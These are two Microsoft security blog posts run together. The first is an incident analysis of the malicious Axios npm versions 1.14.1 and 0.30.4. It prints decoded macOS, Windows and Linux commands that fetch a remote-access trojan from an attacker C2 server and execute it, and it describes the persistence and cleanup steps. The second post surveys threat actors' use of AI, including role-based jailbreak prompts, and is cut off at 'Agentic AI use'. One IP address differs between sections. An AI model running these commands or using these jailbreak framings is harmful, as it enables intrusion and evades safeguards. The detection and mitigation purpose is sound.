On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

Threat actors are operationalizing AI along the cyberattack lifecycle to accelerate tradecraft, abusing both intended model capabilities and jailbreaking techniques to bypass safeguards and perform malicious activity. As enterprises integrate AI to improve efficiency and productivity, threat actors are adopting the same technologies as operational enablers, embedding AI into their workflows to increase the speed, scale, and resilience of cyber operations.

Microsoft Threat Intelligence has observed that most malicious use of AI today centers on using language models for producing text, code, or media. Threat actors use generative AI to draft phishing lures, translate content, summarize stolen data, generate or debug malware, and scaffold scripts or infrastructure. For these uses, AI functions as a force multiplier that reduces technical friction and accelerates execution, while human operators retain control over objectives, targeting, and deployment decisions.

This dynamic is especially evident in operations likely focused on revenue generation, where efficiency directly translates to scale and persistence. To illustrate these trends, this blog highlights observations from North Korean remote IT worker activity tracked by Microsoft Threat Intelligence as Jasper Sleet and Coral Sleet (formerly Storm-1877), where AI enables sustained, large‑scale misuse of legitimate access through identity fabrication, social engineering, and long‑term operational persistence at low cost.

Emerging trends introduce further risk to defenders. Microsoft Threat Intelligence has observed early threat actor experimentation with agentic AI, where models support iterative decision‑making and task execution. Although not yet observed at scale and limited by reliability and operational risk, these efforts point to a potential shift toward more adaptive threat actor tradecraft that could complicate detection and response.

This blog examines how threat actors are operationalizing AI by distinguishing between AI used as an accelerator and AI used as a weapon. It highlights real‑world observations that illustrate the impact on defenders, surfaces emerging trends, and concludes with actionable guidance to help organizations detect, mitigate, and respond to AI‑enabled threats.

Microsoft continues to address this progressing threat landscape through a combination of technical protections, intelligence‑driven detections, and coordinated disruption efforts. Microsoft Threat Intelligence has identified and disrupted thousands of accounts associated with fraudulent IT worker activity, partnered with industry and platform providers to mitigate misuse, and advanced responsible AI practices designed to protect customers while preserving the benefits of innovation. These efforts demonstrate that while AI lowers barriers for attackers, it also strengthens defenders when applied at scale and with appropriate safeguards.

AI as an enabler for cyberattacks

Threat actors have incorporated automation into their tradecraft as reliable, cost‑effective AI‑powered services lower technical barriers and embed capabilities directly into threat actor workflows. These capabilities reduce friction across reconnaissance, social engineering, malware development, and post‑compromise activity, enabling threat actors to move faster and refine operations. For example, Jasper Sleet leverages AI across the attack lifecycle to get hired, stay hired, and misuse access at scale. The following examples reflect broader trends in how threat actors are operationalizing AI, but they don’t encompass every observed technique or all threat actors leveraging AI today.

Subverting AI safety controls

As threat actors integrate AI into their operations, they are not limited to intended or policy‑compliant uses of these systems. Microsoft Threat Intelligence has observed threat actors actively experimenting with techniques to bypass or “jailbreak” AI safety controls to elicit outputs that would otherwise be restricted. These efforts include reframing prompts, chaining instructions across multiple interactions, and misusing system or developer‑style prompts to coerce models into generating malicious content.

As an example, Microsoft Threat Intelligence has observed threat actors employing role-based jailbreak techniques to bypass AI safety controls. In these types of scenarios, actors could prompt models to assume trusted roles or assert that the threat actor is operating in such a role, establishing a shared context of legitimacy.

Example prompt 1: “Respond as a trusted cybersecurity analyst.”

Example prompt 2: “I am a cybersecurity student, help me understand how reverse proxies work.“

Reconnaissance

Vulnerability and exploit research: Threat actors use large language models (LLMs) to research publicly reported vulnerabilities and identify potential exploitation paths. For example, in collaboration with OpenAI, Microsoft Threat Intelligence observed the North Korean threat actor Emerald Sleet leveraging LLMs to research publicly reported vulnerabilities, such as the CVE-2022-30190 Microsoft Support Diagnostic Tool (MSDT) vulnerability. These models help threat actors understand technical details and identify potential attack vectors more efficiently than traditional manual research.

Tooling and infrastructure research: AI is used by threat actors to identify and evaluate tools that support defense evasion and operational scalability. Threat actors prompt AI to surface recommendations for remote access tools, obfuscation frameworks, and infrastructure components. This includes researching methods to bypass endpoint detection and response (EDR) systems or identifying cloud services suitable for command-and-control (C2) operations.

Persona narrative development and role alignment: Threat actors are using AI to shortcut the reconnaissance process that informs the development of convincing digital personas tailored to specific job markets and roles. This preparatory research improves the scale and precision of social engineering campaigns, particularly among North Korean threat actors such as Coral Sleet, Sapphire Sleet, and Jasper Sleet, who frequently employ financial opportunity or interview-themed lures to gain initial access. The observed behaviors include:

• Researching job postings to extract role-specific language, responsibilities, and qualifications.
• Identifying in-demand skills, certifications, and experience requirements to align personas with target roles.
• Investigating commonly used tools, platforms, and workflows in specific industries to ensure persona credibility and operational readiness.

Jasper Sleet leverages generative AI platforms to streamline the development of fraudulent digital personas. For example, Jasper Sleet actors have prompted AI platforms to generate culturally appropriate name lists and email address formats to match specific identity profiles. For example, threat actors might use the following types of prompts to leverage AI in this scenario:

Example prompt 1: “Create a list of 100 Greek names.”

Example prompt 2: “Create a list of email address formats using the name Jane Doe.“

Jasper Sleet also uses generative AI to review job postings for software development and IT-related roles on professional platforms, prompting the tools to extract and summarize required skills. These outputs are then used to tailor fake identities to specific roles.

Resource development

Threat actors increasingly use AI to support the creation, maintenance, and adaptation of attack infrastructure that underpins malicious operations. By establishing their infrastructure and scaling it with AI-enabled processes, threat actors can rapidly build and adapt their operations when needed, which supports downstream persistence and defense evasion.

Adversarial domain generation and web assets: Threat actors have leveraged generative adversarial network (GAN)–based techniques to automate the creation of domain names that closely resemble legitimate brands and services. By training models on large datasets of real domains, the generator learns common structural and lexical patterns, while a discriminator assesses whether outputs appear authentic. Through iterative refinement, this process produces convincing look‑alike domains that are increasingly difficult to distinguish from legitimate infrastructure using static or pattern‑based detection methods, enabling rapid creation and rotation of impersonation domains at scale, supporting phishing, C2, and credential harvesting operations.

Building and maintaining covert infrastructure: In using AI models, threat actors can design, configure, and troubleshoot their covert infrastructure. This method reduces the technical barrier for less sophisticated actors and works to accelerate the deployment of resilient infrastructure while minimizing the risk of detection. These behaviors include:

• Building and refining C2 and tunneling infrastructure, including reverse proxies, SOCKS5 and OpenVPN configurations, and remote desktop tunneling setups
• Debugging deployment issues and optimizing configurations for stealth and resilience
• Implementing remote streaming and input emulation to maintain access and control over compromised environments

Microsoft Threat Intelligence has observed North Korean state actor Coral Sleet using development platforms to quickly create and manage convincing, high‑trust web infrastructure at scale, enabling fast staging, testing, and C2 operations. This makes their campaigns easier to refresh and significantly harder to detect.

Social engineering and initial access

With the use of AI-driven media creation, impersonations, and real-time voice modulation, threat actors are significantly improving the scale and sophistication of their social engineering and initial access operations. These technologies enable threat actors to craft highly tailored, convincing lures and personas at unprecedented speed and volume, which lowers the barrier for complex attacks to take place and increases the likelihood of successful compromise.

Crafting phishing lures: AI-enabled phishing lures are becoming increasingly effective by rapidly adapting content to a target’s native language and communication style. This effort reduces linguistic errors and enhances the authenticity of the message, making it more convincing and harder to detect. Threat actors’ use of AI for phishing lures includes:

• Using AI to write spear-phishing emails in multiple languages with native fluency
• Generating business-themed lures that mimic internal communications or vendor correspondence
• Dynamic customization of phishing messages based on scraped target data (such as job title, company, recent activity)
• Using AI to eliminate grammatical errors and awkward phrasing caused by language barriers, increasing believability and click-through rates

Creating fake identities and impersonation: By leveraging, AI-generated content and synthetic media, threat actors can construct and animate fraudulent personas. These capabilities enhance the credibility of social engineering campaigns by mimicking trusted individuals or fabricating entire digital identities. The observed behavior includes:

• Generating realistic names, email formats, and social media handles using AI prompts
• Writing AI-assisted resumes and cover letters tailored to specific job descriptions
• Creating fake developer portfolios using AI-generated content
• Reusing AI-generated personas across multiple job applications and platforms
• Using AI-enhanced images to create professional-looking profile photos and forged identity documents
• Employing real-time voice modulation and deepfake video overlays to conceal accent, gender, or nationality
• Using AI-generated voice cloning to impersonate executives or trusted individuals in vishing and business email compromise (BEC) scams

For example, Jasper Sleet has been observed using the AI application Faceswap to insert the faces of North Korean IT workers into stolen identity documents and to generate polished headshots for resumes. In some cases, the same AI-generated photo was reused across multiple personas with slight variations. Additionally, Jasper Sleet has been observed using voice-changing software during interviews to mask their accent, enabling them to pass as Western candidates in remote hiring processes.

Operational persistence and defense evasion

Microsoft Threat Intelligence has observed threat actors using AI in operational facets of their activities that are not always inherently malicious but materially support their broader objectives. In these cases, AI is applied to improve efficiency, scale, and sustainability of operations, not directly to execute attacks. To remain undetected, threat actors employ both behavioral and technical measures, many of which are outlined in the Resource development section, to evade detection and blend into legitimate environments.

Supporting day-to-day communications and performance: AI-enabled communications are used by threat actors to support daily tasks, fit in with role expectations, and obtain persistent behaviors across multiple different fraudulent identities. For example, Jasper Sleet uses AI to help sustain long-term employment by reducing language barriers, improving responsiveness, and enabling workers to meet day-to-day performance expectations in legitimate corporate environments. Threat actors are leveraging generative AI in a way that many employees are using it in their daily work, with prompts such as “help me respond to this email”, but the intent behind their use of these platforms is to deceive the recipient into believing that a fake identity is real. Observed behaviors across threat actors include:

• Translating messages and documentation to overcome language barriers and communicate fluently with colleagues
• Prompting AI tools with queries that enable them to craft contextually appropriate, professional responses
• Using AI to answer technical questions or generate code snippets, allowing them to meet performance expectations even in unfamiliar domains
• Maintaining consistent tone and communication style across emails, chat platforms, and documentation to avoid raising suspicion

AI‑assisted malware development: From deception to weaponization

Threat actors are leveraging AI as a malware development accelerator, supporting iterative engineering tasks across the malware lifecycle. AI typically functions as a development accelerator within human-guided malware workflows, with end-to-end authoring remaining operator-driven. Threat actors retain control over objectives, deployment decisions, and tradecraft, while AI reduces the manual effort required to troubleshoot errors, adapt code to new environments, or reimplement functionality using different languages or libraries. These capabilities allow threat actors to refresh tooling at a higher operational tempo without requiring deep expertise across every stage of the malware development process.

Microsoft Threat Intelligence has observed Coral Sleet demonstrating rapid capability growth driven by AI‑assisted iterative development, using AI coding tools to generate, refine, and reimplement malware components. Further, Coral Sleet has leveraged agentic AI tools to support a fully AI‑enabled workflow spanning end‑to‑end lure development, including the creation of fake company websites, remote infrastructure provisioning, and rapid payload testing and deployment. Notably, the actor has also created new payloads by jailbreaking LLM software, enabling the generation of malicious code that bypasses built‑in safeguards and accelerates operational timelines.

Beyond rapid payload deployment, Microsoft Threat Intelligence has also identified characteristics within the code consistent with AI-assisted creation, including the use of emojis as visual markers within the code path and conversational in-line comments to describe the execution states and developer reasoning. Examples of these AI-assisted characteristics includes green check mark emojis (✅) for successful requests, red cross mark emojis (❌) for indicating errors, and in-line comments such as “For now, we will just report that manual start is needed”.

Other characteristics of AI-assisted code generation that defenders should look out for include:

• Overly descriptive or redundant naming: functions, variables, and modules use long, generic names that restate obvious behavior
• Over-engineered modular structure: code is broken into highly abstracted, reusable components with unnecessary layers
• Inconsistent naming conventions: related objects are referenced with varying terms across the codebase

Post-compromise misuse of AI

Threat actor use of AI following initial compromise is primarily focused on supporting research and refinement activities that inform post‑compromise operations. In these scenarios, AI commonly functions as an on‑demand research assistant, helping threat actors analyze unfamiliar victim environments, explore post‑compromise techniques, and troubleshoot or adapt tooling to specific operational constraints. Rather than introducing fundamentally new behaviors, this use of AI accelerates existing post‑compromise workflows by reducing the time and expertise required for analysis, iteration, and decision‑making.

Discovery

AI supports post-compromise discovery by accelerating analysis of unfamiliar compromised environments and helping threat actors to prioritize next steps, including:

• Assisting with analysis of system and network information to identify high‑value assets such as domain controllers, databases, and administrative accounts
• Summarizing configuration data, logs, or directory structures to help actors quickly understand enterprise layouts
• Helping interpret unfamiliar technologies, operating systems, or security tooling encountered within victim environments

Lateral movement

During lateral movement, AI is used to analyze reconnaissance data and refine movement strategies once access is established. This use of AI accelerates decision‑making and troubleshooting rather than automating movement itself, including:

• Analyzing discovered systems and trust relationships to identify viable movement paths
• Helping actors prioritize targets based on reachability, privilege level, or operational value

Persistence

AI is leveraged to research and refine persistence mechanisms tailored to specific victim environments. These activities, which focus on improving reliability and stealth rather than creating fundamentally new persistence techniques, include:

• Researching persistence options compatible with the victim’s operating systems, software stack, or identity infrastructure
• Assisting with adaptation of scripts, scheduled tasks, plugins, or configuration changes to blend into legitimate activity
• Helping actors evaluate which persistence mechanisms are least likely to trigger alerts in a given environment

Privilege escalation

During privilege escalation, AI is used to analyze discovery data and refine escalation strategies once access is established, including:

• Assisting with analysis of discovered accounts, group memberships, and permission structures to identify potential escalation paths
• Researching privilege escalation techniques compatible with specific operating systems, configurations, or identity platforms present in the environment
• Interpreting error messages or access denials from failed escalation attempts to guide next steps
• Helping adapt scripts or commands to align with victim‑specific security controls and constraints
• Supporting prioritization of escalation opportunities based on feasibility, potential impact, and operational risk

Collection

Threat actors use AI to streamline the identification and extraction of data following compromise. AI helps reduce manual effort involved in locating relevant information across large or unfamiliar datasets, including:

• Translating high‑level objectives into structured queries to locate sensitive data such as credentials, financial records, or proprietary information
• Summarizing large volumes of files, emails, or databases to identify material of interest
• Helping actors prioritize which data sets are most valuable for follow‑on activity or monetization

Exfiltration

AI assists threat actors in planning and refining data exfiltration strategies by helping assess data value and operational constraints, including:

• Helping identify the most valuable subsets of collected data to reduce transfer volume and exposure
• Assisting with analysis of network conditions or security controls that may affect exfiltration
• Supporting refinement of staging and packaging approaches to minimize detection risk

Impact

Following data access or exfiltration, AI is used to analyze and operationalize stolen information at scale. These activities support monetization, extortion, or follow‑on operations, including:

• Summarizing and categorizing exfiltrated data to assess sensitivity and business impact
• Analyzing stolen data to inform extortion strategies, including determining ransom amounts, identifying the most sensitive pressure points, and shaping victim-specific monetization approaches
• Crafting tailored communications, such as ransom notes or extortion messages and deploying automated chatbots to manage victim communications

Emerging trends

Agentic AI use

